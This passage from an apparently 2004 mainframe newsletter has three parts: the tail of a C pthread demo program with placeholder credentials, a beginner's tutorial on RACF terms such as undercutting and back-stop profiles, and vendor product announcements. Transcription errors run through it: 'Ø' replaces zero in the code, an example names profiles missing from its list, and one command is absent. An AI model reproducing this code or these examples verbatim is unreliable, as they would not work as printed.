    strcpy(thread_info->thread_passwd,"PWDVAL2");
}
else if (thread_count == 3)
{
    thread_info->thread_sleep = 7;
    strcpy(thread_info->thread_userid,"USERID3");
    strcpy(thread_info->thread_passwd,"PWDVAL3");
}
else if (thread_count == 4)
{
    thread_info->thread_sleep = 11;
    strcpy(thread_info->thread_userid,"USERID4");
    strcpy(thread_info->thread_passwd,"PWDVAL4");
}
else
{
    thread_info->thread_sleep = 1;
}

sprintf(thread_info->thread_name,"Thread %d",thread_count);

thread_info->thread_done = Ø;
thread_info->thread_ret = NULL;
thread_info->thread_next = NULL;
i = pthread_create(&thread_info->thread_id, NULL, thread,
    thread_info);

if (i != Ø)
{
    perror("pthread_create() error");
    printf("thread_count = %d rc %d errno %d\n",
        thread_count, i, errno);
    exit(99);
}

if (thread_count < MAX_THREAD_COUNT)
{
    thread_info_next =
        (struct THREAD_PARM*)calloc(1,sizeof(struct THREAD_PARM));
    thread_info->thread_next = thread_info_next;
    thread_info = thread_info_next;
}
/* Wait for tasks to indicate their completedness. */
done_flag = Ø;
while (done_flag == Ø)
{
    done_flag = 1;
    if (thread_info_first != NULL)
    {
        thread_info = thread_info_first;
        while (thread_info != NULL)
        {
            if (thread_info->thread_done < done_flag)
            {
                done_flag = thread_info->thread_done;
                sleep(1);
                goto THREADS_ACTIVE;
            }
            thread_info = thread_info->thread_next;
        }
    }
    THREADS_ACTIVE:
    done_flag = done_flag;
}
/* The tasks are complete. Is termination messages. */
thread_info = thread_info_first;
while (thread_info != NULL)
{
    if (pthread_join(thread_info->thread_id, &ret) != Ø)
    {
        perror("pthread_join() error");
        exit(91);
    }
    printf("thread '%s' exited with '%s'
", thread_info->thread_name, ret);
    free(thread_info->thread_ret);
    thread_info_next = thread_info->thread_next;
    free(thread_info);
    thread_info = thread_info_next;
}

Rudy Douglas
Systems Programmer (Canada) © Xephon 2004
RACF 101 – understanding RACF terms

RACF 101 is a regular column for newcomers to the RACF world. It presents basic RACF topics in a tutorial format. In this issue, we will discuss some RACF terms that are commonly used in the industry. Knowing these terms will add to your RACF knowledge and help you better understand some of the idiosyncrasies of RACF.

Like all specialties, RACF has its own set of special terms and jargon that may appear ‘Greek’ to outsiders, and sometimes even to a RACF beginner.

Quite often, the newcomer to RACF is intimidated by such terms when used by some of their more senior colleagues. They may not be able to participate in the conversation; may not want to open their mouths for fear of being wrong, and may even feel inferior.

Well, fear not! The following, while not all-inclusive, will get you started in understanding some of the common terms of RACF.

UNDERCUTTING

The term ‘undercutting’ is used with respect to a person losing the RACF access he previously had. If, by creating a new profile, you take away someone’s access inadvertently, you are said to have ‘undercut’ that person’s access.

The following example will help explain undercutting.

Let’s say a user, USER99, has READ access to a profile, SYS1.**. This person therefore has READ access to any dataset starting with SYS1, including SYS1.PROCLIB. Now you are asked to grant READ access to another user, USER01, to SYS1.PROCLIB, and only that dataset. So you create a profile called SYS1.PROCLIB, with Universal Access NONE, and add the user USER01 to the access list of this newly-created profile.
What you have just done is ‘undercut’ USER99 from his READ access to SYS1.PROCLIB, which he had by virtue of the SYS1.** profile! This occurred because of the way RACF does access checking – the most specific profile that matches an access request is used for access checking.

In other words, when you create a new profile, you have to keep in mind existing, more general, profiles so that you don’t undercut someone’s existing access.

To prevent undercutting, you should determine all similar profiles before defining the new one. In the above case, if you were to enter the SEARCH command:

```
SEARCH MASK(SYS1) CLASS(DATASET)
```

the results might be:

```
SYS1.**
SYS1.VTAMLIB.**
```

This tells you that the profile SYS1.** already exists. So, to prevent undercutting, you can define your new profile utilizing the FROM operand of the ADDSD command:

```
ADDSD 'SYS1.PROCLIB" GENERIC FROM('SYS1.**')
```

The FROM operand will copy the userids and groups from the SYS1.** profile into the access list of the new profile, thus preventing any undercutting.

Undercutting, by the way, can happen for general resource classes also.

**THE BACK-STOP PROFILE**

Sometimes also called the ‘catch-all’ profile, the back-stop profile comes into play when no other profile in a class matches the resource in question. For example, if you have a CICS transaction class called CICSTRN1, and the SEARCH command reveals the following profiles in that class:

```
ABCD
DEF*
```

then, if you access a transaction called PQRS, the back-stop profile ***, the last one on the list, is used for access checking, because it is the ‘best’ fit among all others. The same profile will also be used for any transaction that does not match the ABCD, DEF*, or ABC* profiles.

Back-stop profiles play a special role in RACF. Without them, many of the resources that you have not thought of will go unprotected. By creating a back-stop profile, you ensure that current, and any future, resources will be covered by the back-stop profile.

RACF SEGMENTS

Profiles in RACF can have ‘segments’ that store additional (but optional) security information. For example, a user profile can contain a TSO segment specifying TSO-related security information. Not all profiles need to have segments, and some can have more than one segment. For example, a user profile can have the TSO and CICS segments.

The segments that a profile can have are pre-defined. For example, a user profile can have one or more of the following segments: TSO, CICS, DFP, OPERPARM, WORKATTR, NETVIEW, and OMVS. A group profile can have the DFP or OMVS segments.

To list segments, you need to specify them by name in the list command. For example to list the TSO segment of a userid USER00, enter the command:

LU USER00 TSO

Or, to list the TSO and CICS segments:

LU USER00 TSO CICS

The segment information is displayed at the very end of the list output. If you want only segment information (no standard RACF information), enter the command:
By default, RACF does not provide segment information. You need to ask for it by segment name, which of course forces you to know your segment names.

**RACF UNLOADED DATABASE**

The RACF unloaded database, or RACF ‘flat’ file, is a term applied to the RACF database containing ‘readable’ RACF records, ie all the profiles defined at the installation. This of course implies that the ‘real’ RACF database that is updated all the time by RACF is ‘unreadable’ by human beings – it is in a format that only RACF understands.

The flat file is produced by running an IBM-provided program that reads the unreadable RACF records and produces a file containing readable RACF records. Most installations produce a RACF flat file on a daily basis. This file is often input to various programs that produce monitoring and review reports.

The records in the unloaded database are ‘tagged’ to denote the type of records. For example, all user profiles have a type code of 200, group profile records have type 100, etc. Based on this, it is possible to browse all your user profiles in an ISPF session.

**GROUPING CLASSES**

Some of the general resource classes have a corresponding ‘grouping’ class. Grouping classes, as the name implies, allow you to group resources for similar treatment. You can do this even in cases where grouping would otherwise be impossible.

Let’s say you have CICS transactions ABCD and ABCE, and they have similar access requirements. In this case, grouping is easy – you can create a profile called ABC* in the CICS transaction class, and both the transactions will be covered by this profile. In this case, we did it using wildcards.

But wildcarding is not always possible – what if you had payroll
transactions called DDDD and FFFF, which, the payroll department tells you, have similar access requirements? Wildcarding to cover both these cases is impossible. This is where RACF grouping profiles come in. In the CICS grouping class, simply specify that the transactions DDDD and FFFF are in a group, and then provide appropriate RACF permissions!

Grouping classes do not make sense for all RACF classes. For example, the DATASET class does not have a corresponding grouping class.

CONCLUSION

We have not covered all possible terms used in RACF. Nor should that be our goal. Our goal is to add to the existing RACF knowledge base and gradually increase it. And this is what we achieved.

_Dinesh Dattani (dinesh123@rogers.com)_
_Independent Consultant_
_Toronto (Canada)_

© Xephon 2004

Done anything interesting with RACF? More information about contributing an article, plus an explanation of our terms and conditions, can be found at www.xephon.com/nfc.

Articles can be sent to the editor, Trevor Eddolls, at trevore@xephon.com.
NEON Systems has announced Shadow z/Services, SOAP-based mainframe integration solution that allows organizations to rapidly transform CICS, IMS, and Advantage CA-IDMS applications into Web services.

Shadow z/Services includes several components and features designed to accelerate the development and deployment of mainframe Web services, including single-step configuration, dynamic introspection, and microflow orchestration. Shadow z/Services Studio is an Integrated Development Environment (IDE) for development, management, and administration of mainframe Web services integration.

The product offers flexible security. It integrates into existing mainframe security infrastructures using mainframe SAF services, which support RACF (as well as ACF2 and CA-Top Secret) in order to maintain the integrity of application security.

For further information contact:
NEON Systems, 14100 Southwest Freeway, Suite 500, Sugar Land, TX 77478, USA.
Tel: (281) 491 4200.
URL: www.neonsys.com/Shadow/shadow_zservices.asp.

* * *

Blockade Systems and VASCO Data Security International have extended their partnership to provide complete product integration and co-selling and marketing of the combined security solution.

VASCO Digipass authenticators are natively integrated with Blockade’s ESaccess.

Blockade ESaccess is a centralized enterprise access control and management product that uses the power of the OS/390 or z/OS Enterprise Server system to administer access of Web-based users to corporate Web resources. It provides centralized role-based access control for simplified administration and control of user access. VASCO Digipass provides user authentication for remote access, Web, and custom applications. A Digipass is a small, hand-held device available in various sizes, colours, and form factors that dynamically generates a random password with each use.

For further information contact:
Blockade Systems, 2200 Yonge Street, Suite 1300, Toronto, Ontario, Canada, M4S 2C6.
Tel: (416) 482 8400.
VASCO, 1901 South Meyers Road, Suite 210, Oakbrook Terrace, IL 60181, USA.
Tel: (630) 932 8844.

* * *

OpenNetwork Technologies has announced enhanced support for Microsoft Identity Integration Server (MIIS) 2003 with the availability of connectors for out-of-the-box integration to SAP R/3 and Oracle environments.

OpenNetwork Technologies, 13577 Feather Sound Drive, Clearwater, FL 33762, USA.
Tel: (877) 561 9500.

* * *